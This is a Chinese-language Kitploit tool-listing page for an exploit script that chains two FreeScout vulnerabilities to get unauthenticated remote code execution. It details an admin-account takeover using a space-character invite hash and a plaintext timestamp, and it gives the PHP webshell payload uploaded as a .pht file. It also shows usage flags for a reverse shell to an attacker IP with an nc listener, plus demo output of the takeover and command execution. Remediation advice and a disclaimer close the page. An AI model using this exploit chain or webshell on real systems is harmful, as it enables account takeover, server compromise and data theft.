Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-53595_exploit — 利用脚本结合 CVE-2026-53595(匿名账户接管)和 CVE-2026-53593(.pht 文件上传),在 FreeScout 帮助台软件上实现未经认证的远程代码执行。 | Kitploit
工具/GitHubGitHub/0xdak/cve-2026-53595_exploit
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证红队
GitHub0xdak/cve-2026-53595_exploit

CVE-2026-53595_exploit

利用脚本结合 CVE-2026-53595(匿名账户接管)和 CVE-2026-53593(.pht 文件上传),在 FreeScout 帮助台软件上实现未经认证的远程代码执行。

查看仓库
29天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-53595 (+ CVE-2026-53593) — FreeScout 匿名 ATO → RCE

通过串联两个漏洞实现在 FreeScout ≤ 1.8.223(一个 Laravel 帮助台)上的未认证远程代码执行,这两个漏洞均在 1.8.224 中修复:

  • CVE-2026-53595 — 匿名账户接管。POST /user-setup/{hash}/{invite_sent_at} 仅通过 invite_hash 列选取账户。一个已激活的用户其 invite_hash = '',而在 MySQL/MariaDB 上 VARCHAR 相等比较忽略尾部空格,因此 hash = %20 匹配到管理员。invite_sent_at 过期门控使用用户的密码作为密钥解密密文,但解密辅助函数在失败时返回原始输入(空的 catch),因此可以直接传入一个明文当前 Unix 时间戳。该端点随后会覆盖账户的邮箱和密码,并将你登录。
  • CVE-2026-53593 — 已认证的 .pht 上传。上传拒绝列表(php.*|sh|pl|phtml|phar)未覆盖 .pht,而 Apache mod_php 会将其作为 PHP 执行。

将两者串联起来,未认证攻击者即可获得 Web 服务器用户(www-data)的代码执行权限。

功能

  1. GET /user-setup/%20/<unix_ts> 获取一个会话 cookie 和 CSRF token。
  2. POST 相同的 URL 覆盖管理员的邮箱/密码并登录(ATO)。
  3. POST /uploads/upload 上传一个 shell.pht(<?php system($_GET['c']); ?>)。
  4. 通过 Webshell 执行命令,或开启反向 Shell。

用法

root@kitploit:~
./exploit.sh -t <target> [options]
   -t, --target URL    目标基础 URL(例如 http://10.10.10.10)   [必需]
   -c, --cmd CMD       执行单条命令(默认:id)
       --lhost IP      反向 Shell:攻击者 IP(先启动 nc)
       --lport PORT    反向 Shell 端口(默认 4444)
       --email ADDR    被接管的管理员邮箱设置(默认 [email protected])
       --password PASS 密码设置(默认 Pwned12345)
   -h, --help

演示

root@kitploit:~
$ ./exploit.sh -t http://10.10.10.10
[*] 获取设置表单(hash=%20, ts=1784500000)...
[*] 接管管理员 -> [email protected] / Pwned12345 ...
[+] 管理员账户被接管(你也可以登录 http://10.10.10.10/login)
[*] 上传 .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30

# 反向 Shell(先运行 `nc -lvnp 4444`)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] 管理员账户被接管 ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] 向 10.10.14.7:4444 发送反向 Shell ...
[+] 载荷已发送——请检查你的监听器。

依赖

  • bash, curl, jq

注意事项

  • 适用于 FreeScout 1.0.x – 1.8.223;1.8.224+ 修复了这两个缺陷(302 变成接管失败)。
  • RCE 以 www-data(Apache 用户)身份运行。.pht 的执行依赖于服务器通过 mod_php 运行 .pht——这正是 CVE 所针对的“标准 Apache + libapache2-mod-php”环境。
  • 反向 Shell 在到达 Webshell 之前会进行 Base64 编码:system() 通过 /bin/sh(Debian/Ubuntu 上的 dash)运行,它不理解仅限 bash 的 >& /dev/tcp/... 重定向,而 Base64 也避免了所有引号陷阱。
  • 默认密码故意不含 !——! 会在交互式 bash/zsh 中触发历史扩展并破坏粘贴的命令。

修复方案

  • 升级到 FreeScout 1.8.224+。
  • 永远不要使用 VARCHAR 相等比较作为安全令牌(尾部空格冲突),也永远不要将解密失败视为有效值——拒绝为空或无效的令牌。
  • 使用上传白名单,将上传内容存储在 Web 根目录之外,并通过永不执行它们的处理程序提供访问。

免责声明

仅用于授权的安全测试和教育目的。请勿将其用于您不拥有或未经明确许可进行测试的系统。作者不对滥用承担任何责任。

下载工具